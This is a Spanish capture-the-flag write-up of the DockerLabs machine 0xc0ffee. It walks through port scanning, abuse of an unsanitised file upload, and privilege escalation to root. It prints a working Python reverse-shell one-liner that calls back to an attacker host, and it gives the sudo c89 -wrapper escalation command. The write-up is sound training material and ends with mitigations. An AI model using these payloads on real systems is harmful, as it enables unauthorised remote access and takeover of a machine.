Ir al contenido

Oxc0ffee

Este documento detalla el proceso completo de explotación y escalada de privilegios de la máquina 0xc0ffee, desarrollada por d1se0 para DockerLabs y clasificada como de dificultad Media.

El análisis está estructurado en tres fases principales:

  1. Reconocimiento: Identificación de servicios expuestos, rutas accesibles y contenido filtrado.
  2. Explotación: Obtención de ejecución remota mediante carga de archivos no sanitizados.
  3. Escalada de privilegios: Pivote entre múltiples usuarios utilizando contraseñas expuestas, binarios personalizados y configuraciones sudo mal aplicadas.

El compromiso se realizó íntegramente en un entorno aislado proporcionado por DockerLabs.


AtributoValor
Nombre0xc0ffee
Autord1se0
DificultadMedio
Fecha01/09/2024
PlataformaDockerLabs

Ventana de terminal
unzip 0xc0ffee.zip
sudo bash auto_deploy.sh 0xc0ffee.tar

IP asignada


Ventana de terminal
mkdir -p 0xc0ffee/{content,exploits,nmap,gobuster,scripts}
cd 0xc0ffee

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos identificados:

  • 80/tcp — HTTP
  • 7777/tcp — HTTP (exposición de directorios)

Puertos abiertos


Escaneo inicial:

Ventana de terminal
feroxbuster -u http://hidden.lab -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

No se encontraron rutas relevantes. La raíz contiene un formulario que solicita una keyword para validar acceso:

index

Nada indica vulnerabilidad directa, por lo que la palabra clave debe encontrarse en otro punto.


Este servicio expone directamente un directorio sin autenticación:

directory content

Los archivos relevantes:

  • nota.txt → Información irrelevante.
  • secret/history.txt → Contiene una narrativa y una palabra clave crítica para el formulario del puerto 80.

content of history

El acceso a este directorio público representa una fuga de información sensible (Information Disclosure).


Ingresamos la palabra clave en la herramienta del puerto 80. Esto da acceso a securepage, una interfaz de configuración:

securepage

La página permite:

  • Enviar un Configuration Identifier → nombre del archivo a crear.
  • Enviar Configuration Data → contenido que será almacenado literalmente.
  • Cargar cualquier archivo existente.

No existe ningún tipo de sanitización, validación de extensión o restricción de contenido. Esto habilita una arbitrary file upload combinada con arbitrary file execution cuando el sistema “carga” la configuración.

Para confirmar, subimos un archivo de prueba JSON:

{
"test": "test",
"value": ""
}

Este aparece inmediatamente en el servicio del puerto 7777:

test

Activamos listener:

Ventana de terminal
nc -nlvp 443

Creamos payload en Python (el backend usa Python):

configuration identifier: shell.py
configuration data:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Cargamos el archivo desde la sección inferior de la página: Esto ejecuta el script y genera la reverse shell:

reverseshell


Se encuentra un archivo accesible:

/home/codebad/secret

content of secret

Es una adivinanza cuya respuesta es la contraseña del usuario. Pivoteamos:

Ventana de terminal
su codebad

su codebad


Verificamos permisos:

sudo -l codebad

codebad puede ejecutar el binario code como el usuario metadata.

Tras analizar code, se determina que funciona como un wrapper de ls (lista directorios). Podemos enumerar archivos propiedad de metadata:

Ventana de terminal
find / -user metadata 2>/dev/null

result of find

El archivo relevante es:

/usr/local/bin

Lo leemos usando el wrapper:

Ventana de terminal
sudo -u metadata /home/codebad/code "/usr/local/bin"

Esto filtra una contraseña:

password of metadata

Pivoteamos:

Ventana de terminal
su metadata

su metadata


Verificamos permisos:

sudo -l metadata

metadata puede ejecutar el binario c89 como root con parámetros controlables.

Se abusa usando el wrapper interactivo:

Ventana de terminal
sudo c89 -wrapper /bin/bash,-s .

Se obtiene una shell privilegiada:

Root


  • Exposición de directorios y archivos sensibles en puerto 7777.
  • Fuga directa de credentials vía archivos de configuración.
  • Funcionalidad de subida sin sanitización → RCE (Arbitrary File Upload + Execution).
  • Reutilización de contraseñas entre usuarios.
  • Binarios personalizados sin restricciones (code).
  • Múltiples configuraciones sudo incorrectas → Privilege Escalation trivial.
  • Falta de aislamiento entre servicios internos.
  • Permisos de lectura excesivos en /home/*.

  • Implementar validación estricta de archivos subidos.
  • Aislar rutas internas y evitar exposición de home directories.
  • Deshabilitar configuraciones sudo innecesarias.
  • Eliminar binarios personalizados inseguros o restringirlos.
  • Aplicar Least Privilege en permisos Unix.
  • Auditar archivos con información sensible por fugas accidentales.
  • Implementar controles de acceso en ambos servicios HTTP.